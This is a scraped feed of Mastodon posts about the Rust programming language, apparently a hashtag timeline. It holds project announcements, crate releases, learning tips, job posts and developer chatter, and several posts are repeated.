github.com/nfnitloop/ratatui-w

That repo contains an example app, which you can easily run with , which keeps it entirely sandboxed from your system. Here's a quick screen recording:
asciinema.org/a/8Ljb2Tkp9SyujJ

Let me know if you build anything fun with it. 😊

asciinema.org

untitled

Recorded by codyc

@lavxnews@ioc.exchange

Introducing kdlfmt: The Essential CLI Tool for KDL Document Formatting

The new kdlfmt CLI tool simplifies the formatting and validation of KDL (Kotlin Data Language) documents, making it an indispensable utility for developers working with this emerging data format. Buil...

news.lavx.hu/article/introduci

Introducing kdlfmt: The Essential CLI Tool for KDL Document Formatting
ALT text

Introducing kdlfmt: The Essential CLI Tool for KDL Document Formatting

@gslin@abpe.org
@mre@mastodon.social

"Rust is hard" isn't helpful. I believe many take a harder learning route than necessary.

There are a few ways to flatten the curve: embrace the mental shift, take small steps, build intuition, let the type system guide you, etc.

corrode.dev/blog/flattening-ru

If you know someone who's struggling, perhaps this post can help.

corrode.dev

Flattening Rust's Learning Curve | corrode Rust Consulting

I see people make the same mistakes over and over again when learning Rust. Here are my thoughts (ordered by importance) on how you can ease the learning process. My goal is to help you save time and frustration. <…

@lynnesbian@fedi.lynnesbian.space

my first ever pull request to the language has been merged! 🎉

github.com/rust-lang/rust/pull

it's a documentation change to clarify how async blocks behave in regards to control flow. there was only one requested change, so i did a pretty good job of matching the tone and style of the other docs.

it was really easy to contribute once i found out how to use x.py. strangely enough, there doesn't seem to be an enforced line length limit (at least not for this section of the docs) so i just matched what the surrounding text was doing.

coincidentally, the contributor who reviewed my code is the same person who made the papaya crate i reported a memory safety bug in a month or two ago.

my changes are scheduled to land in rust 1.88, which should release on the 26th of june!

:ferrisdance: :ferris_party: :ferrisdance:

github.com

Clarify `async` block behaviour by Lynnesbian · Pull Request #139608 · rust-lang/rust

Adds some documentation for control flow behaviour pertaining to return and ? within async blocks. Fixes (or at least improves) #101444. r? rust-lang/docs

@lynnesbian@fedi.lynnesbian.space

my first ever pull request to the language has been merged! 🎉

github.com/rust-lang/rust/pull

it's a documentation change to clarify how async blocks behave in regards to control flow. there was only one requested change, so i did a pretty good job of matching the tone and style of the other docs.

it was really easy to contribute once i found out how to use x.py. strangely enough, there doesn't seem to be an enforced line length limit (at least not for this section of the docs) so i just matched what the surrounding text was doing.

coincidentally, the contributor who reviewed my code is the same person who made the papaya crate i reported a memory safety bug in a month or two ago.

my changes are scheduled to land in rust 1.88, which should release on the 26th of june!

:ferrisdance: :ferris_party: :ferrisdance:

github.com

Clarify `async` block behaviour by Lynnesbian · Pull Request #139608 · rust-lang/rust

Adds some documentation for control flow behaviour pertaining to return and ? within async blocks. Fixes (or at least improves) #101444. r? rust-lang/docs

@mre@mastodon.social

"Rust is hard" isn't helpful. I believe many take a harder learning route than necessary.

There are a few ways to flatten the curve: embrace the mental shift, take small steps, build intuition, let the type system guide you, etc.

corrode.dev/blog/flattening-ru

If you know someone who's struggling, perhaps this post can help.

corrode.dev

Flattening Rust's Learning Curve | corrode Rust Consulting

I see people make the same mistakes over and over again when learning Rust. Here are my thoughts (ordered by importance) on how you can ease the learning process. My goal is to help you save time and frustration. <…

@jdno@hachyderm.io

I'm tinkering a bit with command-line applications in , and I'm kinda surprised that there doesn't seem to be a "full-stack" framework for them yet.

There are tons of good options to parse command-line arguments, but there's so much more I want my CLI to do. Features like error handling, logging and tracing, interactive & non-interactive modes, (optional) structured output, ...

Am I just missing something?

@jdno@hachyderm.io

I'm tinkering a bit with command-line applications in , and I'm kinda surprised that there doesn't seem to be a "full-stack" framework for them yet.

There are tons of good options to parse command-line arguments, but there's so much more I want my CLI to do. Features like error handling, logging and tracing, interactive & non-interactive modes, (optional) structured output, ...

Am I just missing something?

@fell@ma.fellr.net

I was looking for an alternative to classic shell scripts, so I timed a Hello World program in different languages for fun. I thought you might want to know:

1 ms -
1 ms -
12 ms -
33 ms - (shebang calling `go run`)
38 ms - (shebang compiling to temporary file)
61 ms - (shebang compiling to temporary file)

Needless to say that this is a highly unfair and silly comparison. It's still interesting, though.

@mo8it@fosstodon.org

Time to leave Mastodon?

In my very first post on Mastodon, I said that I am not into social media:
fosstodon.org/@mo8it/109384154

But I wanted to give Mastodon a try since it is foss.

I had a wonderful time here. But at some point, I found it very frustrating how much non-RustLang content is on the hashtag. I tried to push the usage of the hashtag but the campaign failed.

There is also an increased amount of bots and annoying Lemmy links.

1/2

fosstodon.org

Mo Bitar :ferris: (@mo8it@fosstodon.org)

I am not into social media, but lets try Mastodon ^^

@krisajenkins@mastodon.social

In this week's Developer Voices, Andrew Lamb takes us through , exploring how this toolkit shaves years off the prospect of creating a custom database. Fascinating stuff for any data and architecture fans like me. 😁

youtu.be/8QNNCr8WfDM

youtube.com

DataFusion - The Database Building Toolkit (with Andrew Lamb)

Building a database is a serious undertaking. There are just so many parts that you have to implement before you even get to a decent prototype, and so many ...

I'm currently looking for a remote software development job

I have plenty of experience making software using all sorts of languages, frameworks and tools. Tho I have the most experience with Rust, C++, C#. I also usually do native cross platform applications and backend.

You can find my full CV on my website
https://luna.graphics

luna.graphics

Luna's website

@Ambraven@social.mochi.academy

deno-ast has a tagged version that don't compile, which is used by rustyscript in one of it's default features.

How the fuck do you let this happen ???

I don't necessarily blame rustyscript here since it merely use deno and it's easy to let this kind of bug slide into your project...

But deno? Hello ? Why are you tagging code that don't compile ???

@imperio@toot.cat
@imperio@toot.cat
@rek2@hispagatos.space

"Usenet Reborn" is an Usenet and NNTP TUI client in Rust language, in alpha stage!
- sr.ht/~rek2/Usenet_Reborn/
Now that I have a 1.0.1 released for my library called "rek2_nntp" crates.io/crates/rek2_nntp was able to go ahead and get "Usenet Reborn" client in a usable stage a brand new client in format using the not a rust expert so patches are WELLCOME to both projects!

@rek2@hispagatos.space

"Usenet Reborn" is an Usenet and NNTP TUI client in Rust language, in alpha stage!
- sr.ht/~rek2/Usenet_Reborn/
Now that I have a 1.0.1 released for my library called "rek2_nntp" crates.io/crates/rek2_nntp was able to go ahead and get "Usenet Reborn" client in a usable stage a brand new client in format using the not a rust expert so patches are WELLCOME to both projects!

@wezm@mastodon.decentralised.social

My Easter treat has been to work on my silly hosted-at-home retro website. It now features actual content, animated GIFs, and photos of pineapples!

There's a few dynamic pages under cgi-bin, although they are not actually CGI scripts—they are generated by a Rust program. The dynamic content includes live energy stats, climate info, and memory & uptime info. I still want to fill out the content some more, but I also need to do other things.

home.wezm.net/~wmoore/

Screenshot of my retro themed website, "Wes' Nonsense Website", open in IE4 on Mac OS 8.1. There's a happy sun animated GIF at the top of the page and a menu of links to Computers, Calculators, Pineapples, and Sunshine Coast. Under that is a News section and live energy stats about the server.
ALT text

Screenshot of my retro themed website, "Wes' Nonsense Website", open in IE4 on Mac OS 8.1. There's a happy sun animated GIF at the top of the page and a menu of links to Computers, Calculators, Pineapples, and Sunshine Coast. Under that is a News section and live energy stats about the server.

@wezm@mastodon.decentralised.social

My Easter treat has been to work on my silly hosted-at-home retro website. It now features actual content, animated GIFs, and photos of pineapples!

There's a few dynamic pages under cgi-bin, although they are not actually CGI scripts—they are generated by a Rust program. The dynamic content includes live energy stats, climate info, and memory & uptime info. I still want to fill out the content some more, but I also need to do other things.

home.wezm.net/~wmoore/

Screenshot of my retro themed website, "Wes' Nonsense Website", open in IE4 on Mac OS 8.1. There's a happy sun animated GIF at the top of the page and a menu of links to Computers, Calculators, Pineapples, and Sunshine Coast. Under that is a News section and live energy stats about the server.
ALT text

Screenshot of my retro themed website, "Wes' Nonsense Website", open in IE4 on Mac OS 8.1. There's a happy sun animated GIF at the top of the page and a menu of links to Computers, Calculators, Pineapples, and Sunshine Coast. Under that is a News section and live energy stats about the server.

@alexanderkjall@mastodon.social

Today my compiler told me "expected future, found a different future".

And I'm like: me too buddy, me too

@nik@toot.teckids.org

Yay 🥳 !

N-Triples 1.1 and 1.2 and 1.1 syntax test suites run from their official manifests, with my self-written test runner for RDF test case manfiests based on my RDF Graph ORM!

codeberg.org/Taganak/taganak-s

Thanks to @codecraft for work on the internal API and @epage for support with the parser library.

Screenshot of a terminal window.

First, a list of some tests that were run successfully, concluded by the line:

test result: ok. 251 passed; 0 failed; 145 ignored; 0 measured; 0 filtered out; finished in 0.01s
ALT text

Screenshot of a terminal window. First, a list of some tests that were run successfully, concluded by the line: test result: ok. 251 passed; 0 failed; 145 ignored; 0 measured; 0 filtered out; finished in 0.01s

@stevenaleach@sigmoid.social
@nik@toot.teckids.org

Yay 🥳 !

N-Triples 1.1 and 1.2 and 1.1 syntax test suites run from their official manifests, with my self-written test runner for RDF test case manfiests based on my RDF Graph ORM!

codeberg.org/Taganak/taganak-s

Thanks to @codecraft for work on the internal API and @epage for support with the parser library.

Screenshot of a terminal window.

First, a list of some tests that were run successfully, concluded by the line:

test result: ok. 251 passed; 0 failed; 145 ignored; 0 measured; 0 filtered out; finished in 0.01s
ALT text

Screenshot of a terminal window. First, a list of some tests that were run successfully, concluded by the line: test result: ok. 251 passed; 0 failed; 145 ignored; 0 measured; 0 filtered out; finished in 0.01s

@alexanderkjall@mastodon.social

Today my compiler told me "expected future, found a different future".

And I'm like: me too buddy, me too

@LibreQoS@fosstodon.org
@alexanderkjall@mastodon.social

Today my compiler told me "expected future, found a different future".

And I'm like: me too buddy, me too

@alexanderkjall@mastodon.social

Today my compiler told me "expected future, found a different future".

And I'm like: me too buddy, me too

@arialdo@mastodon.online

home page is rust-lang.org and people keep calling it Rust.

home page is kotlinlang.org, and people keep calling it Kotlin.

home page is ruby-lang.org and, guess what? people keep calling it Ruby.

Why on Earth Go programmers feel compelled to call their preferred programming language adding a -lang suffix is a mystery to me.

@jdarais@sfba.social

One thing I will say about Rust, is that simply learning it has made me a better programmer. Similar to how a static-typed language teaches its users concepts about types, (which you may take for granted if you learned programming with Java and have never met a python developer,) Rust has taught me a lot of concepts related to memory safety and concurrency simply from using it to write software.

@jdarais@sfba.social

One thing I will say about Rust, is that simply learning it has made me a better programmer. Similar to how a static-typed language teaches its users concepts about types, (which you may take for granted if you learned programming with Java and have never met a python developer,) Rust has taught me a lot of concepts related to memory safety and concurrency simply from using it to write software.

@natkr@hachyderm.io
@SpelGekko@mastodon.social

As a solo dev, I'm very proud of my little project I've been working on, and I'd like to introduce to everyone: GekkoVPN! My cheap VPN solution :D

Fully European built, maintained and hosted. So no American Overlords!

Go check it out for yourself
gekkovpn.eu

Oh, and shoot me a message if you do want to check it out for a lovely 50% discount :D

GekkoVPN main desktop application, able to connect to GekkoVPN servers
ALT text

GekkoVPN main desktop application, able to connect to GekkoVPN servers

IPv4 lookup on whatismyipaddress.com to show that it actually works!
ALT text

IPv4 lookup on whatismyipaddress.com to show that it actually works!

@imperio@toot.cat
@imperio@toot.cat
@corpsmoderne@mamot.fr

Please help me : I've seen not too long ago a blog post about type oriented programming in but I can't find it in my browser history 😥 . Can't remember if it was new or a repost, neither if I saw it here or on reddit ... ( if you have nice introductory articles on this subject keep them flowing even if they are not the one I'm looking for)

@nuculabs@mastodon.social

I practiced some async Rust code today with Tokio. The idea was to download 10 images using async functions and have graceful shutdown, cancellation and timeout.

I tried using tokio select!, channels and my Go knowledge but it's much harder to do what I want than I anticipated.

This is my code:

pastebin.com/WcDzd0ay

pastebin.com

Tokio Rust Concurrency Attempt - Pastebin.com

Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.

@ainmosni@ainmosni.eu

Sigh, I think I might have to switch away from #VisusalStudioCode. Seems the only stuff they work on is #AI, to the detriment of everything else.

Shall I move back to #vim? Or rather #neovim. Do I still have the patience to configure that just the way I like it?
I could also try out that newfangled #zed editor that is getting all the hype these days.

One must-have feature is it having good vim keybindings though, I'm lost without them.

#SoftwareDevelopment #golang #rustlang #rust

@imperio@toot.cat

Due to a misbehaving crawler taking down docs.rs three times, we now added rate limiting.

This shouldn't impact any normal user, we're happy to talk if this affects you.

Officially we follow the crates.io data policy, so crawlers should be limited to 1 request per second. Until now we didn't validate / limit that and relied on the sanity of the crawlers.

@mre@mastodon.social
@mre@mastodon.social
@zkat@toot.cat

my final project as part of my tenure at Microsoft, aside from that NPM patch (lol), is this lil' guy: github.com/microsoft/libsyncrpc

Just a small, but v v fast IPC lib that lets you make synchronous calls to a child process from node, while the child can execute callbacks from you before you return.

I optimized the everloving shit out of this thing, and it ended up being fast enough that the team will be able to use it for the thing that will let you use the Go typescript compiler from JS: you'll just be calling out directly to a Go child.

Literally hundreds of thousands of ops/s :)

github.com

GitHub - microsoft/libsyncrpc: synchronous RPC communication with callbacks for Node.js

synchronous RPC communication with callbacks for Node.js - microsoft/libsyncrpc

@richiekhoo@hachyderm.io

Package Manager for Markdown

I'm working on a project that is intended to encourage folk to make markdown text files which can be bundled together in different bundles of text files using a package manager.

Question for coders; Which package manager would you suggest I use?

Main criterias (in order) are:

1. Easy for someone with basic command line skills to edit the file and update version numbers and add additional packages.

2. All being equal, more commonly and easy to setup is preferred.



@zkat@toot.cat

my final project as part of my tenure at Microsoft, aside from that NPM patch (lol), is this lil' guy: github.com/microsoft/libsyncrpc

Just a small, but v v fast IPC lib that lets you make synchronous calls to a child process from node, while the child can execute callbacks from you before you return.

I optimized the everloving shit out of this thing, and it ended up being fast enough that the team will be able to use it for the thing that will let you use the Go typescript compiler from JS: you'll just be calling out directly to a Go child.

Literally hundreds of thousands of ops/s :)

github.com

GitHub - microsoft/libsyncrpc: synchronous RPC communication with callbacks for Node.js

synchronous RPC communication with callbacks for Node.js - microsoft/libsyncrpc

Alright!

I just released a first functional version of a new crate:

🔧 test-dsl at 0.1.0

🦀 github.com/TheNeikos/test-dsl/

To paraphrase the readme: test-dsl allows you to easily author tests by decoupling between the 'test harness', 'verbs' and 'conditions'.

It's role in your testing infra would be as boilerplate reduction, so that you can focus on just writing tests around the behaviour of your system. I'm using this pattern for example in a client-server context. So I have verbs like start_server 1, start_client 2, connect_client 2 1 etc...

Of course the meaning of these verbs is highly project-specific.

If a verb does fail, either by panicking or returning an error, you get a nice error output telling you exactly which file and which verb caused the error. Allowing you to more easily pin-point directly what went wrong, rather than potentially searching through a log.

It works great together with datatest-stable from the nextest project, but it works just as fine standalone.

It uses as the language to write your testcases in, so its fairly nice to read.

It's still missing more comprehensive documentation, but as a prototype it should work just fine!

It actually sprung out from having used this pattern a few times, and I didn't want to re-write the boilerplate around it, and maybe re-use some code between projects.

github.com

GitHub - TheNeikos/test-dsl

Contribute to TheNeikos/test-dsl development by creating an account on GitHub.

@nicopap@tooting.ch

Presenting myself: Comp Sci bachelor in 2018, then Scala dev. Then dev. mostly on , both contrib and 3rd party contracting. Culminating with my presentation of compressed datastructures at 2024 Zurich.

Today, honestly, I've no idea who I am or what I do. Trying to find a place in the world where I can have a positive impact.

Alright!

I just released a first functional version of a new crate:

🔧 test-dsl at 0.1.0

🦀 github.com/TheNeikos/test-dsl/

To paraphrase the readme: test-dsl allows you to easily author tests by decoupling between the 'test harness', 'verbs' and 'conditions'.

It's role in your testing infra would be as boilerplate reduction, so that you can focus on just writing tests around the behaviour of your system. I'm using this pattern for example in a client-server context. So I have verbs like start_server 1, start_client 2, connect_client 2 1 etc...

Of course the meaning of these verbs is highly project-specific.

If a verb does fail, either by panicking or returning an error, you get a nice error output telling you exactly which file and which verb caused the error. Allowing you to more easily pin-point directly what went wrong, rather than potentially searching through a log.

It works great together with datatest-stable from the nextest project, but it works just as fine standalone.

It uses as the language to write your testcases in, so its fairly nice to read.

It's still missing more comprehensive documentation, but as a prototype it should work just fine!

It actually sprung out from having used this pattern a few times, and I didn't want to re-write the boilerplate around it, and maybe re-use some code between projects.

github.com

GitHub - TheNeikos/test-dsl

Contribute to TheNeikos/test-dsl development by creating an account on GitHub.

@wasmvision@mastodon.social
@wasmvision@mastodon.social
@zacchiro@mastodon.xyz

My team at Polytechnic Institute of Paris/Télécom school of engineering is looking for a research engineer to conduct development and empirical experiments in various fields, including: and .

Programming skills in are particularly welcome, but we are polyglots and would also welcome /#Java/#OCaml developers 😉

Permanent position (French "CDI"), on site in the south of Paris.

Full job description at: institutminestelecom.recruitee

institutminestelecom.recruitee.com

Institut Mines-Télécom - Computer science research engineer - permanent contract

Who we are ?Télécom Paris, part of the IMT (Institut Mines-Télécom) and a founding member of the Institut Polytechnique de Paris, is one of France's top 5 general engineering schools.The mainspring of

@zacchiro@mastodon.xyz

My team at Polytechnic Institute of Paris/Télécom school of engineering is looking for a research engineer to conduct development and empirical experiments in various fields, including: and .

Programming skills in are particularly welcome, but we are polyglots and would also welcome /#Java/#OCaml developers 😉

Permanent position (French "CDI"), on site in the south of Paris.

Full job description at: institutminestelecom.recruitee

institutminestelecom.recruitee.com

Institut Mines-Télécom - Computer science research engineer - permanent contract

Who we are ?Télécom Paris, part of the IMT (Institut Mines-Télécom) and a founding member of the Institut Polytechnique de Paris, is one of France's top 5 general engineering schools.The mainspring of

@unsafe@m.webtoo.ls

Super excited to present my OS research at in just 2 days!

For two years I’ve been working on a massively concurrent, highly reliable operating system ( using written from scratch in ) for the 21st century!

stop by it will be great!

2025.wasm.io/sessions/smarter-

2025.wasm.io

WASM I/O • 27-28 Mar • Barcelona 2025

Smarter Operating Systems Will Use Wasm - The Coming OS Revolution • Wasm I/O 2025. A 2-day WebAssembly conference in Barcelona, Spain

@unsafe@m.webtoo.ls

Super excited to present my OS research at in just 2 days!

For two years I’ve been working on a massively concurrent, highly reliable operating system ( using written from scratch in ) for the 21st century!

stop by it will be great!

2025.wasm.io/sessions/smarter-

2025.wasm.io

WASM I/O • 27-28 Mar • Barcelona 2025

Smarter Operating Systems Will Use Wasm - The Coming OS Revolution • Wasm I/O 2025. A 2-day WebAssembly conference in Barcelona, Spain

@dilawar@fosstodon.org

An underappreciated feature of is that Rust code found in the wild is very much likely to work and is of good quality. The crate doesn't have to be super mature!

My experience with code in the wild is much much better than JS or python code which is not suprising if you think about it. Programmers coding in
"hard" languages generally write better code? Perhaps same thing is with and ?

@YesJustWolf@hachyderm.io

When I first learned I remember not being happy about the lack of exceptions and always checking the error returns. I never got over it. I’m not a Go user and don’t really know it currently. But now I am a user and learner. Rust works in a very similar way. Yes, I was skeptical at first (and said so here) but now I’m okay with it. Options and Results make sense.

Maybe I just didn’t give Go a fair shake?

@otaxhu@mastodon.social

I've been developing a MQTT GUI client called MQTTy (the name is not very original but I needed the word MQTT in it). That will help me and hopefully help others, to develop, test and debug their IoT applications that utilizes the MQTT protocol.

It's written in Rust, completely free software, licensed under the terms of GPL 3.0 or later versions.

Currently the app does not hit the MVP stage, so there is a lot of work to do to reach it.

@jonn@social.doma.dev · Reply to Michael U

@jet what happened to ?

I roll out custom implementations based on left and right.

It's quite easy with , and .

Here is a fresh generic ecommerce demo where I was learning for frontend – github.com/cognivore/thegoodsh

Feel free to fork and run with it ♥️

github.com

GitHub - cognivore/thegoodshop

Contribute to cognivore/thegoodshop development by creating an account on GitHub.

@jonn@social.doma.dev · Reply to Phil Calcado

@pcalcado awesome read! Btw, I had a super weird thing happen to me when I was between founder jobs: I interviewed to a cryptographic R&D company and at the final round they asked me to implement tetris in 40 minutes.

After the interview I looked up smallest tetris implementation in and it's 160 lines without data modelling. So I was expected to write 4 loc / minute while solving the problem and telling them what was I thinking about. 🤔

Clearly impossible! Told them "I'm not a competitive programmer" and made a grimace when I heard the question. Maybe I should have told them that I won't be doing this in that amount of time? Idk...

I got a rejection saying that I'm not technically proficient enough, but I have a very strong feeling that it was a test of "attitude, not skill".

What do you think about adversarial hiring tricks like this? Do you think if I would have refused, they would have given me a sub task? Does the company just suck and I dodged a bullet? 🤔

@zef@hachyderm.io

I'm going to make make Rust my first AI-only language. I learned some but have never built anything significant with it BY HAND. I intend to keep it that way, and apply CHOP (CHat Oriented Programming as coined by Steve Yegge) only with anything I produce in Rust.

We had a discussion today about the future of programming languages with LLMs becoming good.

Do we need "AI Native" languages and what would they look like? My intuition would be that Rust is actually is a good fit, for a few reasons:

1. Safety
2. Performance
3. Easy to read, but hard to write. And if the LLM does the writing, that's actually not a problem.
4. Very strongly typed, which I think benefits LLMs a lot because it gives itself a very quick feedback loop — if it compiles, it's probably correct.

I've spent the better part of the day with Claud Code writing a program that otherwise I would probably have hacked in TypeScript or Python. Instead, I had Claude Code generate Rust code and it went really well. The result feels very robust, and it is fast.

Although I don't know Rust intimately, I do assume general programming principles apply like in any other language. I can read the code the LLM writes and to challenge it with general engineering practices. On many occasions have I asked it to write tests, refactor the code, take a completely different implementation approach. I may not know the subtleties of Rust as a language, but I'm not sure that it matters.

And picking a language I can't easily write myself has proven to be a very effective strategy to fight the urge to step in and do it myself.

@GerryT@mastodon.social
@GerryT@mastodon.social
@atoponce@fosstodon.org
@ekuber@hachyderm.io

I found myself agreeing with everything in this post from Steve:

steveklabnik.com/writing/choos

I don't think that the brigade of "Rewrite it in Rust" people is nearly as common or big as all too often claimed, but for if you ever appreciated what either Steve or I ever had to say, and have an impulse to brigade a project on GutHub or social media (even accidentally! If you arrive early you might not realize 2000 people are coming right after you), please don't. It's pointless. It's draining. It can be abusive. And it's counter productive.

steveklabnik.com

Choosing Languages

@ekuber@hachyderm.io

I found myself agreeing with everything in this post from Steve:

steveklabnik.com/writing/choos

I don't think that the brigade of "Rewrite it in Rust" people is nearly as common or big as all too often claimed, but for if you ever appreciated what either Steve or I ever had to say, and have an impulse to brigade a project on GutHub or social media (even accidentally! If you arrive early you might not realize 2000 people are coming right after you), please don't. It's pointless. It's draining. It can be abusive. And it's counter productive.

steveklabnik.com

Choosing Languages

@Eleandar@framapiaf.org · Reply to elloh

L’objectif est de faciliter le partage d’informations et d’activités.

Cela inclut l’automatisation de l’accueil des nvx membres, la mise en place de forums et chats, un calendrier, un système de petites annonces, des outils pour le reporting des activités, des outils de veille sur des flux RSS ainsi que des interconnexions entre assos et à des sites voisins.

Intéressé ?

avec l'aide des

@YesJustWolf@hachyderm.io

I had many concerns about things **not** provided by when I started this journey. I tooted about them. You can look back at my history to see. As I have learned, I have seen what Rust has instead of each missing feature. about `catch_unwind` and looked deeper into `Result`s. So now I feel better about Rust not having exceptions.

I still don’t see a replacement for Python’s keyword arguments or default values in function calls. Every time I mention this, people reply that I shouldn’t have so many arguments that I need these things. That’s absolutely not why I want them. I want them because they are better than comments at helping the reader understand what is happening without diving down into the function definition.

@kidsan@hachyderm.io

I think it is cool that is being rewritten in a faster language and in my opinion this is the kind of niche where excels. Their reasoning boiling down to Go providing 10x performance for low effort rewrite vs >10x for much more effort in <whatever-language> is what I'd call a pragmatic choice. Not everything needs to be hype-driven development, and I say that as a wannabe.

@argv_minus_one@mastodon.sdf.org

famously runs unit tests in parallel. This is usually great, but I have a peculiar situation.

I have a test A, that checks if function A works correctly. I have several other tests B, C, …, that check if functions B, C, … work correctly.

Functions B, C, … call function A. This is a problem because function A could potentially trash the developer's $HOME if it works incorrectly, so it really needs to be tested *first*, and functions B, C, … must not be called if test A fails.

@nextcloud@mastodon.xyz

Developing apps is even more rewarding with Nextcloud Hub 10! 🧑‍💻

Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via !

? ? Your choice!

🔗 Read more with other improvements in our blog:

nextcloud.com/blog/nextcloud-h

nextcloud.com

Nextcloud Hub 10 – your unified, modular digital workspace - Nextcloud

Welcome Nextcloud Hub 10 - reinforced performance, deeper integration, and dozens of new features that will make your day easier!

@nextcloud@mastodon.xyz

Developing apps is even more rewarding with Nextcloud Hub 10! 🧑‍💻

Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via !

? ? Your choice!

🔗 Read more with other improvements in our blog:

nextcloud.com/blog/nextcloud-h

nextcloud.com

Nextcloud Hub 10 – your unified, modular digital workspace - Nextcloud

Welcome Nextcloud Hub 10 - reinforced performance, deeper integration, and dozens of new features that will make your day easier!

@amapanda@en.osm.town

istg `rusqlite`s a nice library (a library for obv), but arg do they make it hard to pass things around between threads or whatever.

I just wanna have one thing pumping out results from this SQL query, and then parallel processing it. bah!

@amapanda@en.osm.town

Any good libraries for parsing, constructing, and working with URLs?

The `url` crate (from servo) *only* works with absolute URLs. I need some sort of “domain-less” relative URLs.

@a@lawngno.me

I've been playing around with Niri as a Wayland compositor for the last few weeks, as opposed to my normal Sway. It's nice!

Anyway, I decided I wanted a more Niri-specific taskbar module for Waybar, and ended up using Waybar's CFFI interface to build one in Rust, which turned out to be (mostly) fun. I wrote about it here: lawngno.me/blog/2025/03/06/nir

lawngno.me

Niri, Waybar, and Rust

As a long term believer in it being the year of Linux on the desktop, I’ve been using Sway for several years as my main compositor and, by extension, desktop. Like a lot of people, I combine that with Waybar to provide some basic desktop environment functionality like a system tray, clock, etc.

@a@lawngno.me

I've been playing around with Niri as a Wayland compositor for the last few weeks, as opposed to my normal Sway. It's nice!

Anyway, I decided I wanted a more Niri-specific taskbar module for Waybar, and ended up using Waybar's CFFI interface to build one in Rust, which turned out to be (mostly) fun. I wrote about it here: lawngno.me/blog/2025/03/06/nir

lawngno.me

Niri, Waybar, and Rust

As a long term believer in it being the year of Linux on the desktop, I’ve been using Sway for several years as my main compositor and, by extension, desktop. Like a lot of people, I combine that with Waybar to provide some basic desktop environment functionality like a system tray, clock, etc.

@HelPy@fosstodon.org

🇫🇮🐍 Welcome to our next meetup on Wednesday 19th March 2025 at Taiste:

Talks:

✒️ @hamatti - Why developers should write blog posts

💉 Sakari Cajanus - Dependency injection in Python (or why Python is not Java)

🦀 Mislav Novakovic - Refactoring to Rust

And the famous HelPy quiz!

meetup.com/helpy-meetups/event

Please also drop us a line if you’d like to give a talk in April or beyond ⭐

meetup.com

March Helsinki Python meetup, with Taiste, Wed, Mar 19, 2025, 5:30 PM | Meetup

Welcome to our third event of 2025, graciously hosted by [Taiste](https://www.taiste.fi/en)! **Talks:** * [Juha-Matti Santala](https://www.linkedin.com/in/juhamattisantal

@imperio@toot.cat
@imperio@toot.cat
@akavel@merveilles.town

My recent build of a , a clone of Chordite. Work-in-progress firmware in and (still some) C at: github.com/akavel/chordite-rus

Planned next steps:
- practicing actually typing on it... (the hardest one);
- tweaking and "improving" the layout and functionalities (a neverending story?) - interested in anyone who might somehow help make some sensible one given the constraints of the device;
- hopefully adding mouse functionality based on a gyroscope module (some "MPU6050" board is on its way) - will it work fine enough?
- maybe one day wireless through BLE?

Once I have the mouse functionality built and added, my main goal is to try and be using it with One glasses I bought recently.

Thanks @rahix for avr-hal; thanks @PaulStoffregen for ; thanks John W. McKown for creating , thanks @rustembedded for helping make Rust on embedded possible; thanks my amazing friend for soldering it for me, and thanks many others for many other things.

A prototype chorded keyboard being held in a left hand. Thumb is below a cardboard-like rectangle, remaining fingers pass through a hole and rest on greenish switches visible over the rectangle. A USB cable is visible below the cardboard.
ALT text

A prototype chorded keyboard being held in a left hand. Thumb is below a cardboard-like rectangle, remaining fingers pass through a hole and rest on greenish switches visible over the rectangle. A USB cable is visible below the cardboard.

A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, eight switches are visible, arranged in two irregular rows of four, each row roughly parallel to the hole on the left. Some thin metal bars are visible between the switches, holding them to the cardboard with small tightened screws. A white USB cable is extending to the right from below, neatly tied in a loop with a piece of red velcro.
ALT text

A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, eight switches are visible, arranged in two irregular rows of four, each row roughly parallel to the hole on the left. Some thin metal bars are visible between the switches, holding them to the cardboard with small tightened screws. A white USB cable is extending to the right from below, neatly tied in a loop with a piece of red velcro.

A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, four narrow slits are visible, perpendicular to the hole. A bunch of colorful wires come out of the slits, ziptied near the bottom and going back up and right into a Teensy printed circuit board attached to the cardboard. A USB cable extends out of the PCB. Two thin black metal stripes are also visible arranged vertically, with small screw heads visible over them. The whole assembly rests on a cutting board.
ALT text

A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, four narrow slits are visible, perpendicular to the hole. A bunch of colorful wires come out of the slits, ziptied near the bottom and going back up and right into a Teensy printed circuit board attached to the cardboard. A USB cable extends out of the PCB. Two thin black metal stripes are also visible arranged vertically, with small screw heads visible over them. The whole assembly rests on a cutting board.

@akavel@merveilles.town

My recent build of a , a clone of Chordite. Work-in-progress firmware in and (still some) C at: github.com/akavel/chordite-rus

Planned next steps:
- practicing actually typing on it... (the hardest one);
- tweaking and "improving" the layout and functionalities (a neverending story?) - interested in anyone who might somehow help make some sensible one given the constraints of the device;
- hopefully adding mouse functionality based on a gyroscope module (some "MPU6050" board is on its way) - will it work fine enough?
- maybe one day wireless through BLE?

Once I have the mouse functionality built and added, my main goal is to try and be using it with One glasses I bought recently.

Thanks @rahix for avr-hal; thanks @PaulStoffregen for ; thanks John W. McKown for creating , thanks @rustembedded for helping make Rust on embedded possible; thanks my amazing friend for soldering it for me, and thanks many others for many other things.

A prototype chorded keyboard being held in a left hand. Thumb is below a cardboard-like rectangle, remaining fingers pass through a hole and rest on greenish switches visible over the rectangle. A USB cable is visible below the cardboard.
ALT text

A prototype chorded keyboard being held in a left hand. Thumb is below a cardboard-like rectangle, remaining fingers pass through a hole and rest on greenish switches visible over the rectangle. A USB cable is visible below the cardboard.

A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, eight switches are visible, arranged in two irregular rows of four, each row roughly parallel to the hole on the left. Some thin metal bars are visible between the switches, holding them to the cardboard with small tightened screws. A white USB cable is extending to the right from below, neatly tied in a loop with a piece of red velcro.
ALT text

A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, eight switches are visible, arranged in two irregular rows of four, each row roughly parallel to the hole on the left. Some thin metal bars are visible between the switches, holding them to the cardboard with small tightened screws. A white USB cable is extending to the right from below, neatly tied in a loop with a piece of red velcro.

